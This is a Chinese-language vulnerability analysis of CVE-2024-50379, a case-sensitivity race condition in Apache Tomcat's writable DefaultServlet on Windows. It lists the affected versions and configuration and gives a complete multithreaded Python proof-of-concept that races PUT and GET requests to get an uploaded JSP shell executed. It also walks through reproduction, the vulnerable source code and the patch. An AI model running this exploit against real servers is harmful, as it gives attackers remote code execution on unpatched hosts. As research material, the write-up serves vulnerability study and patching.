漏洞描述
If the default servlet is write enabled (readonly initialisation parameter set to the non-default value of false) for a case insensitive file system, concurrent read and upload under load of the same file can bypass Tomcat's case sensitivity checks and cause an uploaded file to be treated as a JSP leading to remote code execution.
如果默认 Servlet 启用了写权限(即readonly
初始化参数被设置为非默认值false
),在不区分大小写的文件系统中,同一文件的并发读取和上传操作可能会绕过 Tomcat 的大小写敏感性检查,导致上传的文件被视为 JSP 文件,从而引发远程代码执行漏洞。
漏洞条件
-
Windows操作系统:对文件扩展名大小写不敏感
-
版本:
11.0.0-M1 <= Apache Tomcat < 11.0.2
10.1.0-M1 <= Apache Tomcat < 10.1.34
9.0.0.M1 <= Apache Tomcat < 9.0.98
-
DefaultServlet需要有以下配置:开启写权限
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<!-- 开启写权限 -->
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
漏洞验证
-
环境
tomcat: 9.0.96
jre: 1.8
system: Windows 11
-
exploit
import requests
import threading
import sys
SHELL_CONTENT = '''
<% Runtime.getRuntime().exec("calc.exe");%>
'''
# 使用 Event 控制线程终止
stop_event = threading.Event()
def upload_shell(url):
session = requests.Session() # 每个线程使用独立的 Session
print("[+] Uploading JSP shell...")
while not stop_event.is_set():
try:
response = session.put(url, data=SHELL_CONTENT, timeout=3)
# if response.status_code not in (201, 204):
# print(f"[-] Upload failed with status code: {response.status_code}")
except Exception as e:
if not stop_event.is_set():
print(f"[-] Upload error: {str(e)}")
def accessShell(url):
session = requests.Session() # 每个线程使用独立的 Session (session线程不安全)
while not stop_event.is_set():
try:
response = session.get(url, timeout=3)
if response.status_code == 200:
print("[+] Access Success")
stop_event.set() # 触发所有线程停止
return
except Exception as e:
if not stop_event.is_set():
print(f"[-] Access error: {str(e)}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python Poc.py <base_url> <shell_name>")
sys.exit(1)
base_url = sys.argv[1]
shell_name = sys.argv[2]
upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"
access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"
print(f"upload_url: {upload_url}")
print(f"access_url: {access_url}")
# 创建上传线程池
upload_threads = []
for _ in range(20):
t = threading.Thread(target=upload_shell, args=(upload_url,))
t.daemon = True # 设置为守护线程
upload_threads.append(t)
t.start()
# 创建访问线程池
access_threads = []
for _ in range(5000):
t = threading.Thread(target=accessShell, args=(access_url,))
t.daemon = True # 设置为守护线程
access_threads.append(t)
t.start()
# 主线程循环检查停止事件
try:
while not stop_event.is_set():
pass
except KeyboardInterrupt:
stop_event.set()
print("\n[!] Stopping all threads due to keyboard interrupt.")
# 等待所有线程完成
for thread in upload_threads + access_threads:
thread.join()
print("\n[!] All threads stopped.")
-
复现过程:
-
重新开启tomcat:
注意这时会弹出一个另一个弹窗
不要关闭这个弹窗,不然http://localhost:8080/
无法访问 - 执行脚本:
python CVE-2024-50379.py http://localhost:8080 shell.jsp
执行成功!
脚本执行期间可以观察到,在
D:\Program Files (x86)\apache-tomcat-9.0.96\apache-tomcat-9.0.96\webapps\ROOT
中,shell.JSP的大小会在1KB和0KB反复变化 -
漏洞分析
org.apache.catalina.webresources.DirResourceSet#getResource
@Override
public WebResource getResource(String path) {
checkPath(path);
String webAppMount = getWebAppMount();
WebResourceRoot root = getRoot();
if (path.startsWith(webAppMount)) {
//获取资源
File f = file(path.substring(webAppMount.length()), false);
if (f == null) {
return new EmptyResource(root, path);
}
if (!f.exists()) {
return new EmptyResource(root, path, f);
}
if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {
path = path + '/';
}
return new FileResource(root, path, f, isReadOnly(), getManifest());
} else {
return new EmptyResource(root, path);
}
}
org.apache.catalina.webresources.AbstractFileResourceSet#file
protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
File file = new File(fileBase, name);
//一些处理
...
// Check that this file is located under the WebResourceSet's base
String canPath = null;
try {
//漏洞点
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
if (canPath == null || !canPath.startsWith(canonicalBase)) {
return null;
}
String absPath = normalize(file.getAbsolutePath());
...
//必须绕过才能利用成功
if (!canPath.equals(absPath)) {
if (!canPath.equalsIgnoreCase(absPath)) {
logIgnoredSymlink(getRoot().getContext().getName(), absPath, canPath);
}
return null;
}
//必须进入这里才能利用成功
return file;
}
当file
所指向的文件不存在,或该文件正在被写(还没有落地)时,file.getCanonicalPath()
返回的路径与构造file对象时传入的路径(absPath)一致,文件落地后file.getCanonicalPath()
获取到的就是文件实际规范路径(xxx/shell.JSP),这也是需要条件竞争的原因
漏洞修复
相关补丁:
-
Fix inconsistent resource metadata with current GET and PUT/DELETE · apache/tomcat@43b507e
-
https://github.com/apache/tomcat/commit/631500b0c9b2a2a2abb707e3de2e10a5936e5d41
其大致思路是用锁机制,对PUT shell.JSP
和GET shell.jsp
进行同步,使得当进行PUT shell.JSP
时,GET shell.jsp
会被阻塞在临界区外,其中临界资源是 xxx/shell.jsp(等同于xxx/shell.JSP) 所指向的文件
Reference
[1] CVE-2024-50379 : Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability during JSP compi
[2] WEB安全-Tomcat CVE-2024-50379 条件竞争致RCE漏洞原理_游戏逆向|游戏安全|yxfzedu.com
[3] 文章 - Tomcat CVE-2024-50379 / CVE-2024-56337 条件竞争漏洞分析 - 先知社区
[5] Apache Tomcat RCE 稳定复现 保姆级!(CVE-2024-50379)附视频+POC-CSDN博客
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)